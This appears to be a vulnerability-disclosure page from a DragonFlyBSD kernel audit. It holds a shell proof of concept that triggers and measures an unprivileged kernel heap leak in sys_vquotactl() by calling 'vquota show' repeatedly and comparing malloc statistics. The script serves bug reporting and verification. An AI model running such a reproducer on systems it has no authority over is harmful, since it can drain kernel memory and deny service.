⬢ DragonFlyBSD Kernel Audit
DF-5683 / vq_leak.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5683 — unprivileged per-call kernel heap leak in sys_vquotactl().
# Must run as an UNPRIVILEGED user (uid != 0) on vfs.quota_enabled=1 kernel.
# Usage: vq_leak.sh <iterations>   (default 2000)
set -e
ITER=${1:-2000}
MOUNT=${2:-/}

propstat() { vmstat -m | awk 'tolower($1) ~ /^prop/ {print}' | sort; }

echo "== env =="; id; sysctl vfs.quota_enabled; uname -a

echo "== prop malloc types BEFORE =="
propstat | tee /tmp/vq_before.txt

echo "== running $ITER x vquota show $MOUNT (as $(id -un)) =="
i=0
while [ $i -lt $ITER ]; do
	out=$(vquota show "$MOUNT" 2>&1)
	case "$out" in total:*) ;; *) echo "unexpected vquota output at $i: $out"; exit 1;; esac
	i=$((i+1))
done

echo "== prop malloc types AFTER $ITER calls =="
propstat | tee /tmp/vq_after.txt

echo "== delta (before -> after) =="
join /tmp/vq_before.txt /tmp/vq_after.txt | awk '{printf "%-20s InUse %s -> %s\n", $1, $2, $NF==""?$2:$6}'